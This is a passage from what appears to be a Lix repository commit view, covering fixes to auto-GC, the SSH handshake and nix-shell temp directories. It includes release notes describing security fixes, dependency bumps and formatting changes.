(cherry picked from commit d8e2f53d07)
2025-06-03 18:20:54 +00:00
Alois Wohlschlagerandeldritch horrors e62b7236e8 libstore/gc: fix auto-GC blocking indefinitely during evaluation
The first auto-GC request would not be registered as a waiter due to a logic
error. As a result, if that request was synchronous (as happens during
evaluation) it would be stuck forever waiting on a promise that will never be
fulfilled.
Register also the first request properly so that it is notified and unblocked
again when the GC has finished. Also add a test verifying that auto-GC
triggering during evaluation will not get stuck.

Fixes: https://git.lix.systems/lix-project/lix/issues/844
Change-Id: I157afdc737415261e48d6d01d46c586a2927a1ad
(cherry picked from commit 4505bfac8e)
2025-06-03 12:09:32 +00:00
Raito Bezarius 33eaaf02fd libstore/ssh: remove echo started check
The pre-flight `echo started` check over SSH was originally added in
577ebeaefb. As it is usual with these old
commits, understanding why is there a need for something is difficult.

The closest thing would be
> Fix a race starting the SSH master. We now wait synchronously for
> the SSH master to finish starting. This prevents the SSH clients
> from starting their own connections.

But, we removed SSH connection sharing, so this does not apply anymore.

Nonetheless, we believed this check was meant as a way to catch obvious
misconfigurations or SSH failures early, before handing off to
`nix-store`. However, this approach was not fruitful: it assumes the
remote has a `bash`-compatible shell, `echo` behaves in a standard way,
and no `ForceCommand` interferes—all of which are unreliable assumptions
in practice.

While the intent was to provide slightly better diagnostics (e.g. in
case of SSH hanging or returning an interactive shell), in practice it
does not meaningfully catch or improve real failure cases. The
underlying protocol or engine can and should handle those errors more
robustly anyway.

In contrast, this check *does* break several legitimate workflows,
including:

* remote builders using `ForceCommand` wrappers (e.g.
`nix-remote-build`-style setups), see
<https://discourse.nixos.org/t/wrapper-to-restrict-builder-access-through-ssh-worth-upstreaming/25834/15>,

* SSHing into minimal environments lacking `bash` (e.g. initrd,
busybox-based systems),

* configurations that don’t default to POSIX-like shells, e.g., nushell
enthusiasts.

As such, we’re removing this code. Protocol mismatch errors and SSH
failures can be rethought and handled more structurally elsewhere in the
engine.

Change-Id: I187f6881375d42ef83987a13a350c97964bbdb30
Signed-off-by: Raito Bezarius <raito@lix.systems>
(cherry picked from commit 0dd8bf6c1c)
2025-05-18 19:51:41 +00:00
96 changed files with 2408 additions and 960 deletions
+6
View File
@@ -70,6 +70,9 @@ detroyejr:
display_name: Jonathan De Troye
github: detroyejr
edef:
github: edef1c
edolstra:
display_name: Eelco Dolstra
github: edolstra
@@ -197,6 +200,9 @@ roberth:
display_name: Robert Hensing
github: roberth
sandydoo:
github: sandydoo
seppel3210:
github: Seppel3210
+238
View File
@@ -1,4 +1,242 @@
# Lix 2.93 "Bici Bici" (2025-05-09)
# Lix 2.93.4 (2026-05-04)
## Fixes
- `build-dir` no longer defaults to `temp-dir` [cl/3453](https://gerrit.lix.systems/c/lix/+/3453)
The directory in which temporary build directories are created no longer defaults
to the value of the `temp-dir` setting to avoid builders making their directories
world-accessible. This behavior has been used to escape the build sandbox and can
cause build impurities even when not used maliciously. We now default to `builds`
in `NIX_STATE_DIR` (which is `/nix/var/nix/b` in the default configuration).
Many thanks to [eldritch horrors](https://git.lix.systems/pennae) for this.
- Fix develop shells for derivations with escape codes [fj#991](https://git.lix.systems/lix-project/lix/issues/991) [cl/4154](https://gerrit.lix.systems/c/lix/+/4154) [cl/4155](https://gerrit.lix.systems/c/lix/+/4155)
ASCII control characters (including `\e`, used for ANSI escape codes) in derivation variables are now correctly escaped for `nix develop` and `nix print-dev-env`, instead of erroring.
Many thanks to [Qyriad](https://git.lix.systems/Qyriad) for this.
- Fix nix develop for derivations that rejects dependencies with structured attrs [fj#997](https://git.lix.systems/lix-project/lix/issues/997) [cl/4182](https://gerrit.lix.systems/c/lix/+/4182) [cl/4214](https://gerrit.lix.systems/c/lix/+/4214)
For the sake of concision, we refer to `disallowedReferences` in what follows,
but all output checks were equally fixed:
`{dis,}allowed{References,Requisites}`.
Derivations can define *output checks* to reject unwanted dependencies, such as
interpreters like `bash` or compilers like `gcc`. This can be done in two ways:
* **Legacy style**: `disallowedReferences = [ ... ]` in the environment.
* **Structured attrs**: `outputChecks.<output>.disallowedReferences = [ ... ]`,
typically used in `__json`.
Only the structured form supports derivations with multiple outputs.
`nix develop` internally rewrites derivations to create development shells. It
relied on the legacy `disallowedReferences`, and failed to honor the structured
variant. This led to broken shells in cases where `bashInteractive` was
explicitly disallowed using structured output checks, e.g. `nix develop
nixpkgs#systemd` after the "bash-less NixOS" changes.
This fix teaches `nix develop` to respect structured output checks, restoring
support for such derivations.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) for this.
- `nix-shell` default shell directory is not `/tmp` anymore for `$NIX_BUILD_TOP` [fj#940](https://git.lix.systems/lix-project/lix/issues/940)
Previously, Lix `nix-shell`s could exit non-zero status when `stdenv`'s `dumpVars` phase failed to write to `$NIX_BUILD_TOP/env-vars`, despite `dumpVars` being intended as a debugging aid.
This happens when `TMPDIR` is not set and defaults therefore to `/tmp`, resulting in a `/tmp/env-vars` global file that every `nix-shell` wants to write.
We fix this issue by reusing a pre-created, unique, and writable location, as the build top directory, avoiding shell exiting from write failures silently.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) for this.
- Fix unsigned overflow leading to out-of-band write in the NAR parser [cl/5537](https://gerrit.lix.systems/c/lix/+/5537)
The NAR parser contained an unsigned integer overflow that could be used by an
attacker to write arbitrary data to an unknown memory location and possibly
achieve code execution. A successful attack on the system-wide Lix daemon
could lead to privilege escalation to root. Any process that involves NAR
serialization could trigger this issue, including (but not limited to)
- local user interaction, whether the users are trusted or untrusted
- malicious substituters sending malformed NARs
- remote builders sending malformed build results
- remote daemons sending malformed inputs when requesting remote builds
Successful attacks using this bug require ASLR weakening of some sort, whether
by architecture constraints (e.g. on 32 bit systems, where little randomization
is possible) or system configuration (e.g. low ASLR entropy when loading
libraries), and millions of attempts. Local attacks can be mounted in less than
an hour. Remote builds typically require a fresh SSH connection for each build
and are thus less susceptible. Only one attempt can be made by substituters for
every build using substituters, they are thus not a likely vector for attacks.
At the time of writing, MITRE has not assigned this a CVE yet.
Many thanks to [eldritch horrors](https://git.lix.systems/pennae), [Raito Bezarius](https://git.lix.systems/raito), [edef](https://github.com/edef1c), and [sandydoo](https://github.com/sandydoo) for this.
# Lix 2.93.3 (2025-07-22)
## Improvements
- `--keep-failed` chowns the build directory to the user that request the build [cl/3678](https://gerrit.lix.systems/c/lix/+/3678)
Running a build with `--keep-failed` now chowns the temporary directory from the
builder user and group to the user that request the build if the build came from
a local user connected to the daemon. This makes inspecting failed derivations a
lot easier. On Linux the build directory made visible to the user will not be in
the same path as it was in the sandbox and continuing builds will usually break.
Many thanks to [eldritch horrors](https://git.lix.systems/pennae) for this.
# Lix 2.93.2 (2025-06-30)
## Fixes
- Revert CVE-2025-52992 failed mitigation [fj#883](https://git.lix.systems/lix-project/lix/issues/883) [fj#887](https://git.lix.systems/lix-project/lix/issues/887) [cl/3444](https://gerrit.lix.systems/c/lix/+/3444) [cl/3528](https://gerrit.lix.systems/c/lix/+/3528)
Following the initial mitigation of **CVE-2025-52992** in `cl/3444`, we
received reports of **unexpected deletion of in-use store paths**.
Upon investigation, we found that the patch did **not correctly cancel all
automatic deleters**, resulting in potentially critical path loss during normal
operation.
Given the severity and time-sensitive nature of the situation ([see incident
report](https://lix.systems/blog/2025-06-27-lix-critical-bug/)), we evaluated
possible options to repair the behavior safely. However, we concluded that a
rushed fix would either
* **Overdelete**, i.e. breaking running systems, or,
* **Underdelete**, effectively **reopening CVE-2025-52992** while leaving
orphaned paths behind.
As **CVE-2025-52992 has no known exploit vector**, and correctness is critical
in the Lix project, we have **fully reverted the previous mitigations**.
The affected patches (`cl/3444`) have been rolled back for the time being.
Moving forward, the Lix team will rework this code path in a **long-term,
correctness-first fix** on the main branch. We will explore backporting it to
stable channels once its safety is assured.
We are deeply sorry for the stability incident and the Lix team remain
available for assisting you in recovering your systems.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
- Fallback to safe temp dir when build-dir is unwritable [fj#876](https://git.lix.systems/lix-project/lix/issues/876) [cl/3501](https://gerrit.lix.systems/c/lix/+/3501)
Non-daemon builds started failing with a permission error after introducing the `build-dir` option:
```
$ nix build --store ~/scratch nixpkgs#hello --rebuild
error: creating directory '/nix/var/nix/builds/nix-build-hello-2.12.2.drv-0': Permission denied
```
This happens because:
1. These builds are not run via the daemon, which owns `/nix/var/nix/builds`.
2. The user lacks permissions for that path.
We considered making `build-dir` a store-level option and defaulting it to `<chroot-root>/nix/var/nix/builds` for chroot stores, but opted instead for a fallback: if the default fails, Nix now creates a safe build directory under `/tmp`.
To avoid CVE-2025-52991, the fallback uses an extra path component between `/tmp` and the build dir.
**Note**: this fallback clutters `/tmp` with build directories that are not cleaned up. To prevent this, explicitly set `build-dir` to a path managed by Lix, even for local workloads.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
# Lix 2.93.1 (2025-06-23)
## Breaking Changes
- Fixed output derivations can be run using `pasta` network isolation [fj#285](https://git.lix.systems/lix-project/lix/issues/285) [cl/3442](https://gerrit.lix.systems/c/lix/+/3442)
Fixed output derivations traditionally run in the host network namespace.
On Linux this allows such derivations to communicate with other sandboxes
or the host using the abstract Unix domains socket namespace; this hasn't
been unproblematic in the past and has been used in two distinct exploits
to break out of the sandbox. For this reason fixed output derivations can
now run in a network namespace (provided by [`pasta`]), restricted to TCP
and UDP communication with the rest of the world. When enabled this could
be a breaking change and we classify it as such, even though we don't yet
enable or require such isolation by default. We may enforce this in later
releases of Lix once we have sufficient confidence that breakage is rare.
[`pasta`]: https://passt.top/
Many thanks to [eldritch horrors](https://git.lix.systems/pennae) and [puck](https://git.lix.systems/puck) for this.
## Fixes
- Always clean up scratch paths after derivations failed to build [cl/3444](https://gerrit.lix.systems/c/lix/+/3444)
Previously, scratch paths created during builds were not always cleaned up if
the derivation failed, potentially leaving behind unnecessary temporary files
or directories in the Nix store.
This fix ensures that such paths are consistently removed after a failed build,
improving Nix store hygiene, hardening Lix against mis-reuse of failed builds
scratch paths.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) and [eldritch horrors](https://git.lix.systems/pennae) for this.
- `build-dir` no longer defaults to `temp-dir` [cl/3443](https://gerrit.lix.systems/c/lix/+/3443)
The directory in which temporary build directories are created no longer defaults
to the value of the `temp-dir` setting to avoid builders making their directories
world-accessible. This behavior has been used to escape the build sandbox and can
cause build impurities even when not used maliciously. We now default to `builds`
in `NIX_STATE_DIR` (which is `/nix/var/nix/builds` in the default configuration).
Many thanks to [eldritch horrors](https://git.lix.systems/pennae) for this.
- Remove reliance on Bash for remote stores via SSH [fj#830](https://git.lix.systems/lix-project/lix/issues/830) [fj#805](https://git.lix.systems/lix-project/lix/issues/805) [fj#304](https://git.lix.systems/lix-project/lix/issues/304) [cl/3159](https://gerrit.lix.systems/c/lix/+/3159)
The pre-flight `echo started` handshake -- added years ago to catch race conditions -- has been removed.
After removal of connection sharing in Lix 2.93, it required a Bash-compatible shell and a standard `echo`, so it failed on:
* builders protected by `ForceCommand` wrappers (e.g. `nix-remote-build`),
* BusyBox / initrd images with no Bash,
* hosts using non-POSIX shells such as Nushell.
The race the probe once addressed was tied to SSH connection-sharing -- since connection-sharing code has already been removed, the probe is now pointless.
Real connection or protocol errors are now left to SSH/Nix to report directly.
This is technically a breaking change if you had scripts that relied on the literal "started" which needs to be updated to rely on other signals, e.g., exit codes.
Many thanks to [Raito Bezarius](https://git.lix.systems/raito) for this.
## Miscellany
- Deprecation of CA derivations, dynamic derivations, and impure derivations [fj#815](https://git.lix.systems/lix-project/lix/issues/815)
Content-addressed derivations are now deprecated and slated for removal in Lix 2.94.
We're doing this because the CA derivation system has been a known cause of problems
and inconsistencies, is unmaintained, habitually makes improving the store code very
difficult (or blocks such improvements outright), and is beset by a number of design
flaws that in our opinion cannot be fixed without a full reimplementation from zero.
Dynamic derivations and impure derivations are built on the CA derivation framework,
and owing to this they too are deprecated and slated for removal in another release.
# Lix 2.93.0 (2025-05-09)
+37 -38
View File
@@ -62,38 +62,37 @@ let
++ autoLayered
++ extraPkgs;
users =
{
users = {
root = {
uid = 0;
shell = "${pkgs.bashInteractive}/bin/bash";
home = "/root";
gid = 0;
groups = [ "root" ];
description = "System administrator";
};
root = {
uid = 0;
shell = "${pkgs.bashInteractive}/bin/bash";
home = "/root";
gid = 0;
groups = [ "root" ];
description = "System administrator";
};
nobody = {
uid = 65534;
shell = "${pkgs.shadow}/bin/nologin";
home = "/var/empty";
gid = 65534;
groups = [ "nobody" ];
description = "Unprivileged account (don't use!)";
nobody = {
uid = 65534;
shell = "${pkgs.shadow}/bin/nologin";
home = "/var/empty";
gid = 65534;
groups = [ "nobody" ];
description = "Unprivileged account (don't use!)";
};
}
// lib.listToAttrs (
map (n: {
name = "nixbld${toString n}";
value = {
uid = 30000 + n;
gid = 30000;
groups = [ "nixbld" ];
description = "Nix build user ${toString n}";
};
}
// lib.listToAttrs (
map (n: {
name = "nixbld${toString n}";
value = {
uid = 30000 + n;
gid = 30000;
groups = [ "nixbld" ];
description = "Nix build user ${toString n}";
};
}) (lib.lists.range 1 32)
);
}) (lib.lists.range 1 32)
);
groups = {
root.gid = 0;
@@ -193,13 +192,11 @@ let
in
''
{
${
lib.concatStringsSep "\n" (
builtins.map (output: ''
${output} = { outPath = "${lib.getOutput output drv}"; };
'') outputs
)
}
${lib.concatStringsSep "\n" (
builtins.map (output: ''
${output} = { outPath = "${lib.getOutput output drv}"; };
'') outputs
)}
outputs = [ ${lib.concatStringsSep " " (builtins.map (x: "\"${x}\"") outputs)} ];
name = "${drv.name}";
outPath = "${drv}";
@@ -361,8 +358,10 @@ let
"org.opencontainers.image.source" = "https://git.lix.systems/lix-project/lix";
"org.opencontainers.image.vendor" = "Lix project";
"org.opencontainers.image.version" = pkgs.nix.version;
"org.opencontainers.image.description" = "Minimal Lix container image, with some batteries included.";
} // lib.optionalAttrs (lixRevision != null) { "org.opencontainers.image.revision" = lixRevision; };
"org.opencontainers.image.description" =
"Minimal Lix container image, with some batteries included.";
}
// lib.optionalAttrs (lixRevision != null) { "org.opencontainers.image.revision" = lixRevision; };
};
meta = {
Generated
+66 -7
View File
@@ -16,6 +16,22 @@
"type": "github"
}
},
"lowdown-src": {
"flake": false,
"locked": {
"lastModified": 1633514407,
"narHash": "sha256-Dw32tiMjdK9t3ETl5fzGrutQTzh2rufgZV4A/BbxuD4=",
"owner": "kristapsdz",
"repo": "lowdown",
"rev": "d2c2b44ff6c27b936ec27358a2653caaef8f73b8",
"type": "github"
},
"original": {
"owner": "kristapsdz",
"repo": "lowdown",
"type": "github"
}
},
"nix2container": {
"flake": false,
"locked": {
@@ -32,18 +48,44 @@
"type": "github"
}
},
"nixpkgs": {
"nix_2_18": {
"inputs": {
"flake-compat": [
"flake-compat"
],
"lowdown-src": "lowdown-src",
"nixpkgs": "nixpkgs",
"nixpkgs-regression": [
"nixpkgs-regression"
]
},
"locked": {
"lastModified": 1733348545,
"narHash": "sha256-b4JrUmqT0vFNx42aEN9LTWOHomkTKL/ayLopflVf81U=",
"lastModified": 1730375271,
"narHash": "sha256-RrOFlDGmRXcVRV2p2HqHGqvzGNyWoD0Dado/BNlJ1SI=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "9ecb50d2fae8680be74c08bb0a995c5383747f89",
"repo": "nix",
"rev": "0f665ff6779454f2117dcc32e44380cda7f45523",
"type": "github"
},
"original": {
"owner": "NixOS",
"ref": "nixos-24.11-small",
"ref": "2.18.9",
"repo": "nix",
"type": "github"
}
},
"nixpkgs": {
"locked": {
"lastModified": 1705033721,
"narHash": "sha256-K5eJHmL1/kev6WuqyqqbS1cdNnSidIZ3jeqJ7GbrYnQ=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "a1982c92d8980a0114372973cbdfe0a307f1bdea",
"type": "github"
},
"original": {
"owner": "NixOS",
"ref": "nixos-23.05-small",
"repo": "nixpkgs",
"type": "github"
}
@@ -64,6 +106,22 @@
"type": "github"
}
},
"nixpkgs_2": {
"locked": {
"lastModified": 1757198069,
"narHash": "sha256-m3VUcOD4rTs8J7S+3dOjWMrAjw6RcITC3XYQ98zhEFs=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "0747026fc57ecb9c28901c7f7a2b5dc40e8af43c",
"type": "github"
},
"original": {
"owner": "NixOS",
"ref": "nixos-25.05-small",
"repo": "nixpkgs",
"type": "github"
}
},
"pre-commit-hooks": {
"flake": false,
"locked": {
@@ -84,7 +142,8 @@
"inputs": {
"flake-compat": "flake-compat",
"nix2container": "nix2container",
"nixpkgs": "nixpkgs",
"nix_2_18": "nix_2_18",
"nixpkgs": "nixpkgs_2",
"nixpkgs-regression": "nixpkgs-regression",
"pre-commit-hooks": "pre-commit-hooks"
}
+69 -8
View File
@@ -2,8 +2,19 @@
description = "Lix: A modern, delicious implementation of the Nix package manager";
inputs = {
nixpkgs.url = "github:NixOS/nixpkgs/nixos-24.11-small";
nixpkgs.url = "github:NixOS/nixpkgs/nixos-25.05-small";
nixpkgs-regression.url = "github:NixOS/nixpkgs/215d4d0fd80ca5163643b03a33fde804a29cc1e2";
# Required because Nix 2.18 is not in Nixpkgs ≥ 25.05 anymore.
nix_2_18 = {
url = "github:NixOS/nix/2.18.9";
# NOTE(Raito): this is not possible because patches on libseccomp does not apply anymore on this Nix.
# Let's keep the latest known nixpkgs useable with Nix 2.18 for our tests.
# inputs.nixpkgs.follows = "nixpkgs";
inputs.nixpkgs-regression.follows = "nixpkgs-regression";
inputs.flake-compat.follows = "flake-compat";
};
pre-commit-hooks = {
url = "github:cachix/git-hooks.nix";
flake = false;
@@ -25,6 +36,7 @@
nixpkgs-regression,
pre-commit-hooks,
nix2container,
nix_2_18,
flake-compat,
}:
@@ -163,6 +175,16 @@
{
nixStable = prev.nix;
nixVersions = prev.nixVersions // {
nix_2_3 = prev.nixVersions.nix_2_3.overrideAttrs (old: {
meta = old.meta // {
knownVulnerabilities = [ ];
};
});
# Nix 2.18 has been removed from Nixpkgs ≥ 25.05, so we need to reintroduce it ourselves for our tests.
nix_2_18 = nix_2_18.outputs.packages.${currentStdenv.hostPlatform.system}.default;
};
# Forward from the previous stage as we dont want it to pick the lowdown override
nixUnstable = prev.nixUnstable;
@@ -197,6 +219,9 @@
inherit versionSuffix officialRelease;
stdenv = currentStdenv;
busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
# See below
lowdown = final.lowdown_3_0;
lowdown-unsandboxed = final.lowdown_3_0.override { enableDarwinSandbox = false; };
};
lix-clang-tidy = final.callPackage ./subprojects/lix-clang-tidy { };
@@ -221,6 +246,30 @@
boehmgc-nix = final.nix.passthru.boehmgc-nix;
# And same thing for our build-release-notes package.
build-release-notes = final.nix.passthru.build-release-notes;
# As soon as Nixpkgs updates to >= 3.0.0, change to lowdown_2_0!
# We don't change the default version in order to not change the hash
# of Nix/Lix from upstream Nixpkgs.
lowdown_3_0 =
assert lib.versionOlder prev.lowdown.version "3.0.0";
prev.lowdown.overrideAttrs (
finalAttrs: prevAttrs: {
version = "3.0.1";
src = final.fetchurl {
url = "https://kristaps.bsd.lv/lowdown/snapshots/lowdown-${finalAttrs.version}.tar.gz";
sha512 = "fe68e1b7ff23f3992398356d7aa9a330dfd7b72e22bea9a91eeef74182b209ecea0c9f3e2b2216e1a07b2358da2b746238ec9cbbdeebdd3551cef14dd2d79f46";
};
# no longer compiles with GNU make
nativeBuildInputs = prevAttrs.nativeBuildInputs ++ [ final.bmake ];
# dylib fixups on darwin are no longer necessary
postInstall = "";
# doesn't work on darwin due to disallowed nested sandboxes
doInstallCheck = prevAttrs.doInstallCheck && !(final.stdenv.hostPlatform.isDarwin);
doCheck = prevAttrs.doCheck && !(final.stdenv.hostPlatform.isDarwin);
}
);
};
in
{
@@ -235,6 +284,15 @@
# Binary package for various platforms.
build = forAllSystems (system: self.packages.${system}.nix);
# Ensure support for lowdown < 3.0 doesn't regress for NixOS 25.11
build-lowdown_2_0.aarch64-linux = lib.genAttrs [ "aarch64-linux" ] (
system:
self.packages.${system}.nix.override {
lowdown = nixpkgsFor.${system}.native.lowdown;
lowdown-unsandboxed = nixpkgsFor.${system}.native.lowdown-unsandboxed;
}
);
devShell = forAllSystems (system: {
default = self.devShells.${system}.default;
clang = self.devShells.${system}.native-clangStdenvPackages;
@@ -381,13 +439,16 @@
in
pkgs.symlinkJoin {
name = "nixpkgs-lib-tests";
paths =
[ testWithNix ]
# NOTE: nixpkgs 24.11 is being ... *creative*, and requires this dance to override
# the evaluator used for the test. it will break again in the future, don't worry.
++ lib.optionals pkgs.stdenv.isLinux [
(pkgs.callPackage "${nixpkgs}/ci/eval" { nixVersions.nix_2_24 = nix; }).attrpathsSuperset
];
paths = [
testWithNix
]
# NOTE: nixpkgs 25.05 is being ... *creative*, and requires this dance to override
# the evaluator used for the test. it will break again in the future, don't worry.
++ lib.optionals pkgs.stdenv.isLinux [
((pkgs.callPackage "${nixpkgs}/ci/eval" { inherit nix; }).attrpathsSuperset {
evalSystem = system;
})
];
}
);
};
+4 -2
View File
@@ -187,7 +187,8 @@ static void main_nix_build(AsyncIoRoot & aio, std::string programName, Strings a
if (packages && fromArgs)
throw UsageError("'-p' and '-E' are mutually exclusive");
AutoDelete tmpDir(createTempDir("", myName));
AutoDelete tmpDir(createTempDir(myName));
AutoDelete buildTopTmpDir(createTempSubdir(tmpDir, "build-top"));
if (outLink.empty())
outLink = (Path) tmpDir + "/result";
@@ -431,7 +432,8 @@ static void main_nix_build(AsyncIoRoot & aio, std::string programName, Strings a
}
// Don't use defaultTempDir() here! We want to preserve the user's TMPDIR for the shell
env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = getEnvNonEmpty("TMPDIR").value_or("/tmp");
env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] =
getEnvNonEmpty("TMPDIR").value_or(buildTopTmpDir);
env["NIX_STORE"] = store->config().storeDir;
env["NIX_BUILD_CORES"] = std::to_string(settings.buildCores);
+21 -2
View File
@@ -11,15 +11,34 @@ namespace nix {
std::string renderMarkdownToTerminal(std::string_view markdown)
{
int windowWidth = getWindowSize().second;
size_t lowdown_cols = std::max(windowWidth - 5, 60);
struct lowdown_opts opts {
struct lowdown_opts opts{
.type = LOWDOWN_TERM,
#ifdef LOWDOWN_SEPARATE_TERM_OPTS
.term =
{
.cols = lowdown_cols,
.width = 0,
.hmargin = 0,
.hpadding = 4,
.vmargin = 0,
.centre = 0,
},
// maxdepth needs to be part of the ifdefs to match declaration order
.maxdepth = 20,
.cols = (size_t) std::max(windowWidth - 5, 60),
#else
.maxdepth = 20,
.cols = lowdown_cols,
.hmargin = 0,
.vmargin = 0,
#endif /* LOWDOWN_SEPARATE_TERM_OPTS */
.feat = LOWDOWN_COMMONMARK | LOWDOWN_FENCED | LOWDOWN_DEFLIST | LOWDOWN_TABLES,
#ifdef LOWDOWN_CONSOLIDATED_OFLAGS
.oflags = LOWDOWN_NOLINK,
#else
.oflags = LOWDOWN_TERM_NOLINK,
#endif /* LOWDOWN_CONSOLIDATED_OFLAGS */
};
if (!shouldANSI()) {
opts.oflags |= LOWDOWN_TERM_NOANSI;
+2 -2
View File
@@ -254,7 +254,7 @@ void runNix(Path program, const Strings & args)
.program = settings.nixBinDir+ "/" + program,
.args = args,
.environment = subprocessEnv,
}).wait();
}).waitAndCheck();
return;
}
@@ -672,7 +672,7 @@ ProcessLineResult NixRepl::processLine(std::string line)
// runProgram redirects stdout to a StringSink,
// using runProgram2 to allow editors to display their UI
runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).wait();
runProgram2(RunOptions { .program = editor, .searchPath = true, .args = args }).waitAndCheck();
// Reload right after exiting the editor if path is not in store
// Store is immutable, so there could be no changes, so there's no need to reload
+1 -1
View File
@@ -312,7 +312,7 @@ struct ExprAttrs
AttrDef() { };
template<typename T>
const T & chooseByKind(const T & plain, const T & inherited, const T & inheritedFrom) const
T chooseByKind(const T & plain, const T & inherited, const T & inheritedFrom) const
{
switch (kind) {
case Kind::Plain:
+5 -4
View File
@@ -686,10 +686,12 @@ struct nothing : p::nothing<Rule> {
static_assert(!std::is_base_of_v<semantic, Rule>);
};
template<typename Self, typename OpCtx, typename AttrPathT, typename ExprT>
struct operator_semantics {
struct operator_semantics
{
private:
operator_semantics() = default;
friend Self;
public:
struct has_attr : grammar::v1::op::has_attr {
AttrPathT path;
@@ -775,5 +777,4 @@ public:
return popExpr();
}
};
}
+147 -65
View File
@@ -6,82 +6,164 @@
namespace nix {
void prim_fromTOML(EvalState & state, Value * * args, Value & val)
#if HAVE_TOML11_4
/**
* This is what toml11 < 4.0 did when choosing the subsecond precision.
* TOML 1.0.0 spec doesn't define how sub-millisecond ranges should be handled and calls it
* implementation defined behavior. For a lack of a better choice we stick with what older versions
* of toml11 did [1].
*
* [1]:
* https://github.com/ToruNiina/toml11/blob/dcfe39a783a94e8d52c885e5883a6fbb21529019/toml/datetime.hpp#L282
*/
static size_t normalizeSubsecondPrecision(toml::local_time lt)
{
auto toml = state.forceStringNoCtx(*args[0], noPos, "while evaluating the argument passed to builtins.fromTOML");
auto millis = lt.millisecond;
auto micros = lt.microsecond;
auto nanos = lt.nanosecond;
if (millis != 0 || micros != 0 || nanos != 0) {
if (micros != 0 || nanos != 0) {
if (nanos != 0) {
return 9;
}
return 6;
}
return 3;
}
return 0;
}
/**
* Normalize date/time formats to serialize to the same strings as versions prior to toml11 4.0.
*
* Several things to consider:
*
* 1. Sub-millisecond range is represented the same way as in toml11 versions prior to 4.0.
* Precision is rounded towards the next multiple of 3 or capped at 9 digits.
* 2. Seconds must be specified. This may become optional in (yet unreleased) TOML 1.1.0, but 1.0.0
* defined local time in terms of RFC3339 [1].
* 3. date-time separator (`t`, `T` or space ` `) is canonicalized to an upper T. This is compliant
* with RFC3339 [1] 5.6: > Applications that generate this format SHOULD use upper case letters.
*
* [1]: https://datatracker.ietf.org/doc/html/rfc3339#section-5.6
*/
static void normalizeDatetimeFormat(toml::value & t)
{
if (t.is_local_datetime()) {
auto & ldt = t.as_local_datetime();
t.as_local_datetime_fmt() = {
.delimiter = toml::datetime_delimiter_kind::upper_T,
// https://datatracker.ietf.org/doc/html/rfc3339#section-5.6
.has_seconds = true, // Mandated by TOML 1.0.0
.subsecond_precision = normalizeSubsecondPrecision(ldt.time),
};
return;
}
if (t.is_offset_datetime()) {
auto & odt = t.as_offset_datetime();
t.as_offset_datetime_fmt() = {
.delimiter = toml::datetime_delimiter_kind::upper_T,
// https://datatracker.ietf.org/doc/html/rfc3339#section-5.6
.has_seconds = true, // Mandated by TOML 1.0.0
.subsecond_precision = normalizeSubsecondPrecision(odt.time),
};
return;
}
if (t.is_local_time()) {
auto & lt = t.as_local_time();
t.as_local_time_fmt() = {
.has_seconds = true, // Mandated by TOML 1.0.0
.subsecond_precision = normalizeSubsecondPrecision(lt),
};
return;
}
}
#endif
void prim_fromTOML(EvalState & state, Value ** args, Value & val)
{
auto toml = state.forceStringNoCtx(
*args[0], noPos, "while evaluating the argument passed to builtins.fromTOML"
);
std::istringstream tomlStream(std::string{toml});
std::function<void(Value &, toml::value)> visit;
auto visit = [&](this const auto & self, Value & v, toml::value t) -> void {
switch (t.type()) {
case toml::value_t::table: {
auto table = toml::get<toml::table>(t);
auto attrs = state.ctx.buildBindings(table.size());
visit = [&](Value & v, toml::value t) {
for (auto & elem : table) {
self(attrs.alloc(elem.first), elem.second);
}
switch(t.type())
{
case toml::value_t::table:
{
auto table = toml::get<toml::table>(t);
size_t size = 0;
for (auto & i : table) { (void) i; size++; }
auto attrs = state.ctx.buildBindings(size);
for(auto & elem : table)
visit(attrs.alloc(elem.first), elem.second);
v.mkAttrs(attrs);
}
break;;
case toml::value_t::array:
{
auto array = toml::get<std::vector<toml::value>>(t);
size_t size = array.size();
v = state.ctx.mem.newList(size);
for (size_t i = 0; i < size; ++i)
visit(*(v.listElems()[i] = state.ctx.mem.allocValue()), array[i]);
}
break;;
case toml::value_t::boolean:
v.mkBool(toml::get<bool>(t));
break;;
case toml::value_t::integer:
v.mkInt(toml::get<int64_t>(t));
break;;
case toml::value_t::floating:
v.mkFloat(toml::get<NixFloat>(t));
break;;
case toml::value_t::string:
v.mkString(toml::get<std::string>(t));
break;;
case toml::value_t::local_datetime:
case toml::value_t::offset_datetime:
case toml::value_t::local_date:
case toml::value_t::local_time:
{
if (experimentalFeatureSettings.isEnabled(Xp::ParseTomlTimestamps)) {
auto attrs = state.ctx.buildBindings(2);
attrs.alloc("_type").mkString("timestamp");
std::ostringstream s;
s << t;
attrs.alloc("value").mkString(s.str());
v.mkAttrs(attrs);
} else {
// NOLINTNEXTLINE(lix-foreign-exceptions)
throw std::runtime_error("Dates and times are not supported");
}
}
break;;
case toml::value_t::empty:
v.mkNull();
break;;
v.mkAttrs(attrs);
} break;
case toml::value_t::array: {
auto array = toml::get<std::vector<toml::value>>(t);
size_t size = array.size();
v = state.ctx.mem.newList(size);
for (size_t i = 0; i < size; ++i) {
self(*(v.listElems()[i] = state.ctx.mem.allocValue()), array[i]);
}
} break;
case toml::value_t::boolean:
v.mkBool(toml::get<bool>(t));
break;
case toml::value_t::integer:
v.mkInt(toml::get<int64_t>(t));
break;
case toml::value_t::floating:
v.mkFloat(toml::get<NixFloat>(t));
break;
case toml::value_t::string:
v.mkString(toml::get<std::string>(t));
break;
case toml::value_t::local_datetime:
case toml::value_t::offset_datetime:
case toml::value_t::local_date:
case toml::value_t::local_time: {
if (experimentalFeatureSettings.isEnabled(Xp::ParseTomlTimestamps)) {
